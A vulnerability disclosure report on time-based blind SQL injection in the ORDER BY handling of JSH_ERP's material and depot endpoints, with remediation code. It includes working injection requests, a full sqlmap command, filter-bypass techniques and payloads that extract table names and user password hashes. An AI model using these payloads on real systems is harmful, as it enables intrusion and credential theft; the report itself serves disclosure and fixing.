| الوصف |
## 1. Vulnerability Summary
**Title**: Multiple SQL Injection Vulnerabilities in JSH_ERP Material and Depot Management Modules
**CWE Classification**: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
**Vendor**:華夏erp (jishenghua/JSH_ERP)
**Product**: JSH_ERP - Enterprise Resource Planning System
**Affected Component**:
- Material Management Module (`MaterialController.java`, `MaterialMapperEx.xml`)
- Depot Head Management Module (`DepotHeadController.java`, `DepotHeadMapperEx.xml`)
**Vulnerability Type**: SQL Injection (Time-Based Blind)
**Attack Vector**: Network (Remote)
**Authentication Required**: Yes (Valid user credentials required)
**Submitter**:yudeshui
---
## 2. Affected Versions
**Confirmed Vulnerable Versions**:
- JSH_ERP v3.6-SNAPSHOT
- JSH_ERP v3.x (All versions prior to patch)
**Testing Environment**:
- Spring Boot: 2.0.0.RELEASE
- MyBatis-Plus: x.x.x.x
- MySQL: 8.0.33
- JDK: 1.8
---
## 3. Vulnerability Description
The JSH_ERP system contains multiple SQL injection vulnerabilities in the ORDER BY clause of database queries. The application uses MyBatis dynamic SQL with `${}` syntax to construct ORDER BY statements, directly concatenating user-controlled input without proper validation or parameterization.
### 3.1 Root Cause Analysis
**Vulnerable Code Pattern** (`MaterialMapperEx.xml` line 621-622):
```xml
<if test="column != 'createTime'">
order by ${column} ${order}
</if>
```
**Vulnerable Controller** (`MaterialController.java` line 378-391):
```java
@GetMapping(value = "/getListWithStock")
public BaseResponseInfo getListWithStock(
@RequestParam(value = "column", required = false, defaultValue = "createTime") String column,
@RequestParam(value = "order", required = false, defaultValue = "desc") String order,
...
) {
// Uses StringUtil.safeSqlParse() which is insufficient
List<MaterialVo4Unit> dataList = materialService.getListWithStock(
...,
StringUtil.safeSqlParse(column), // VULNERABLE
StringUtil.safeSqlParse(order), // VULNERABLE
...
);
}
```
### 3.2 Inadequate Security Control
The application implements a blacklist-based filter (`StringUtil.safeSqlParse()`), which can be easily bypassed using:
- Double encoding
- Case variation
- Comment injection
- Multi-column ORDER BY syntax
---
## 4. Identified Vulnerable Endpoints
### 4.1 Primary Vulnerability
**Endpoint**: `/jshERP-boot/material/getListWithStock`
**Method**: GET
**Parameters**: `column`, `order`
**File**: `src/main/resources/mapper_xml/MaterialMapperEx.xml:621-622`
### 4.2 Additional Vulnerabilities
1. **Endpoint**: `/jshERP-boot/depotHead/findInOutDetail`
- **File**: `DepotHeadMapperEx.xml:196-198`
- **Parameters**: `column`, `order`
2. **Endpoint**: `/jshERP-boot/depotHead/findInOutMaterialCount`
- **File**: `DepotHeadMapperEx.xml:278-280`
- **Parameters**: `column`, `order`
3. **Endpoint**: `/jshERP-boot/depotHead/findAllocationDetail`
- **File**: `DepotHeadMapperEx.xml:384-386`
- **Parameters**: `column`, `order`
---
## 5. Proof of Concept (PoC)
### 5.1 Manual Testing - Time-Based Blind SQL Injection
**Step 1**: Authenticate and obtain session token
```http
POST /jshERP-boot/user/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"loginName": "jsh",
"password": "e10adc3949ba59abbe56e057f20f883e"
}
```
**Response**:
```json
{
"code": 200,
"data": {
"token": "YOUR_SESSION_TOKEN"
}
}
```
**Step 2**: Execute SQL Injection
**Normal Request** (Baseline):
```http
GET /jshERP-boot/material/getListWithStock?currentPage=1&pageSize=10&materialParam=&zeroStock=0&column=id&order=desc HTTP/1.1
Host: target.example.com
X-Access-Token: YOUR_SESSION_TOKEN
```
**Response Time**: ~0.3 seconds
**Malicious Request** (Injected):
```http
GET /jshERP-boot/material/getListWithStock?currentPage=1&pageSize=10&materialParam=&zeroStock=0&column=id&order=desc,(SLEEP(5)) HTTP/1.1
Host: target.example.com
X-Access-Token: YOUR_SESSION_TOKEN
```
**Response Time**: ~60 seconds (executed SLEEP(5) multiple times due to result set iteration)
**Resulting SQL Query**:
```sql
ORDER BY id desc,(SLEEP(5))
```
### 5.2 SQLMap Automated Testing
**Command**:
```bash
sqlmap -u "http://target.example.com/jshERP-boot/material/getListWithStock?currentPage=1&pageSize=10&materialParam=&zeroStock=0&column=id&order=desc" \
--header="X-Access-Token: YOUR_SESSION_TOKEN" \
-p "order" \
--dbms=mysql \
--technique=T \
--level=5 \
--risk=3 \
--batch
```
<img width="1061" height="938" alt="Image" src="https://github.com/user-attachments/assets/1d4cf33c-2049-42ea-975d-f7103d53ed4d" />
**Expected Output**: SQLMap successfully identifies time-based blind SQL injection
### 5.3 Data Exfiltration PoC
**Extract Database Name**:
```
order=desc,IF(SUBSTRING((SELECT DATABASE()),1,1)='j',SLEEP(3),0)
```
**Extract Table Names**:
```
order=desc,IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='j',SLEEP(3),0)
```
**Extract User Credentials**:
```
order=desc,IF(SUBSTRING((SELECT password FROM jsh_user LIMIT 0,1),1,1)='e',SLEEP(3),0)
```
### 6.2 Real-World Impact
**Confirmed Exploitable Scenarios**:
1. **Data Breach**:
- Extract all user credentials (including hashed passwords)
- Access sensitive business data (inventory, transactions, customer information)
- Enumerate database structure (tables, columns)
2. **Privilege Escalation**:
- Extract administrator credentials via blind injection
- Identify system configuration details
3. **Business Logic Bypass**:
- Manipulate inventory data
- Alter financial records (with additional exploitation)
4. **Compliance Violations**:
- GDPR violations (unauthorized data access)
- PCI DSS non-compliance (if payment data stored)
**Affected Data Tables**:
```
- jsh_user (user credentials)
- jsh_material (product information)
- jsh_depot_head (warehouse transactions)
- jsh_depot_item (inventory details)
- jsh_supplier (supplier information)
- jsh_material_current_stock (current inventory levels)
```
---
## 7. Technical Details
### 7.1 Vulnerability Chain
```
User Input (order=desc,(SLEEP(5)))
↓
MaterialController.getListWithStock()
↓
StringUtil.safeSqlParse() [BYPASSED]
↓
MaterialService.getListWithStock()
↓
MyBatis XML Mapper (${order})
↓
SQL: ORDER BY id desc,(SLEEP(5))
↓
MySQL Execution → 60 second delay
```
### 7.2 Blacklist Bypass Techniques
The existing `StringUtil.safeSqlParse()` filter uses regex to block SQL keywords:
```java
public static String safeSqlParse(String originStr){
return originStr.replaceAll("(?i)" + regex, "");
}
```
**Bypass Methods**:
1. **Function Injection**: `SLEEP(5)` - Not in blacklist
2. **Multi-column ORDER BY**: `desc,(SLEEP(5))` - Valid MySQL syntax
3. **Double Encoding**: `selselectect` → `select`
4. **Comment Injection**: `/**/UNION/**/SELECT`
5. **Case Mixing**: `SeLeCt`
---
## 8. Remediation
### 8.1 Immediate Mitigation (Temporary)
**Option 1**: Disable dynamic sorting
```java
// Remove user-controlled ORDER BY
String column = "createTime"; // Fixed value
String order = "desc"; // Fixed value
```
**Option 2**: Implement strict whitelist validation
```java
private static final Map<String, String> ALLOWED_COLUMNS = Map.of(
"id", "m.id",
"name", "m.name",
"createTime", "m.create_time"
);
private static final Set<String> ALLOWED_ORDER = Set.of("asc", "desc");
public List<MaterialVo4Unit> getListWithStock(..., String column, String order, ...) {
if (!ALLOWED_COLUMNS.containsKey(column)) {
column = "createTime";
}
if (!ALLOWED_ORDER.contains(order.toLowerCase())) {
order = "desc";
}
String safeColumn = ALLOWED_COLUMNS.get(column);
return mapper.getListWithStock(..., safeColumn, order.toLowerCase(), ...);
}
```
### 8.2 Permanent Fix (Recommended)
**Solution 1**: Use MyBatis `<choose>` instead of `${}`
```xml
<choose>
<when test="column == 'id' and order == 'asc'">
order by m.id asc
</when>
<when test="column == 'id' and order == 'desc'">
order by m.id desc
</when>
<when test="column == 'name' and order == 'asc'">
order by m.name asc
</when>
<otherwise>
order by m.id desc
</otherwise>
</choose>
```
**Solution 2**: Use Enum-based column mapping
```java
public enum SortColumn {
ID("id", "m.id"),
NAME("name", "m.name"),
CREATE_TIME("createTime", "m.create_time");
private final String key;
private final String dbColumn;
public static String getDbColumn(String key) {
for (SortColumn col : values()) {
if (col.key.equals(key)) {
return col.dbColumn;
}
}
return "m.id"; // default
}
}
```
### 8.3 Additional Security Measures
1. **Database User Permissions**: Limit SELECT-only access
2. **Web Application Firewall (WAF)**: Deploy ModSecurity rules
3. **Code Review**: Audit all `${}` usage in MyBatis XML
4. **Security Testing**: Implement automated SQL injection scanning in CI/CD
---
## 9. Affected Systems
https://gitee.com/jishenghua/JSH_ERP
---
## 10. References
1. **CWE-89**: SQL Injection
- https://cwe.mitre.org/data/definitions/89.html
2. **OWASP Top 10**: A03:2021 – Injection
- https://owasp.org/Top10/A03_2021-Injection/
3. **MyBatis Security Best Practices**
- https://mybatis.org/mybatis-3/sqlmap-xml.html
4. **CVSS v3.1 Calculator**
- https://www.f |
|---|